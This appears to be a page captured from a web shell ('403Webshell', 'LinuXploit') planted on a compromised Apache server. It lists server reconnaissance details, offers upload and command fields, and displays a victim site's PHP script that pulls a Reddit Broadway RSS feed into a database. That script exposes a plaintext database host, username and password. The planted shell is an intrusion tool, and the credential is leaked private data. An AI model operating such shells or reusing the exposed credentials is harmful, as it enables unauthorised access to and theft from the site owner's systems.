403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.123
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/oldfeeds/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/oldfeeds/feedsmasteratomreddit.php
<?php

// Set a timeout limit for the script execution
set_time_limit(300);
require_once __DIR__ . '/mysql_tls.php';

// Database connection (write)
$link = oldfeeds_mysqli_connect('amazonaurora.cluster-cemzxojvmybt.us-east-1.rds.amazonaws.com', 'admin', 'xxatN6Lb8Kbwb9MiU1At');
mysqli_select_db($link, 'amazonrds');

// Fetch RSS Feed
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.reddit.com/r/Broadway/new/.rss');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; BroadwayWorld/1.0; +https://www.broadwayworld.com)');
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$feedContent = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlError = curl_error($ch);
curl_close($ch);

echo "<strong>Reddit RSS Fetch</strong><br>\n";
echo "HTTP Code: $httpCode<br>\n";
if ($curlError) echo "Curl Error: $curlError<br>\n";
echo "Content Length: " . strlen($feedContent) . " bytes<br><br>\n";

if (empty($feedContent)) {
    echo "<strong style='color:red;'>No content returned from Reddit (HTTP $httpCode). Reddit may be rate-limiting this server.</strong><br>\n";
    exit;
}

try {
    $xmlData = simplexml_load_string($feedContent);
    if ($xmlData === false) {
        throw new Exception("Failed to parse XML feed.");
    }

    $entries = $xmlData->entry;

    foreach ($entries as $entry) {
        $postTitle = (string)$entry->title;
        $postAuthor = (string)$entry->author->name;
        $postContent = (string)$entry->content;
        $postLink = (string)$entry->link['href'];
        $postPublished = (string)$entry->published;

        // Convert Published Date
        $publishedDate = date("Y-m-d H:i:s", strtotime($postPublished));

        // Check if the post already exists
        $checker_query = "SELECT COUNT(*) AS postCount FROM feedmaster WHERE link = '" . mysqli_real_escape_string($link, $postLink) . "'";
        $checker = mysqli_query($link, $checker_query);
        if (!$checker) {
            echo "Query error: " . mysqli_error($link) . "<br>";
            continue;
        }
        $checker_result = mysqli_fetch_assoc($checker);

        if ($checker_result['postCount'] == 0) {
            // Insert new post
            $insert_query = "INSERT INTO feedmaster (feedid, userid, processed, content, image, title, link, feedname)
                VALUES (429, 26, '0', '" . mysqli_real_escape_string($link, $postContent) . "', '', '" . mysqli_real_escape_string($link, $postTitle) . "', '" . mysqli_real_escape_string($link, $postLink) . "', 'reddit')";
            mysqli_query($link, $insert_query);
            echo "[INSERTED] " . htmlspecialchars($postTitle) . "<br>\n";
        } else {
            echo "[DUPLICATE] " . htmlspecialchars($postTitle) . "<br>\n";
        }
    }
    echo "<br><strong>Done!</strong><br>";

} catch (Exception $e) {
    echo "An error occurred while processing the feed: " . $e->getMessage();
}

// Close database connection
mysqli_close($link);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit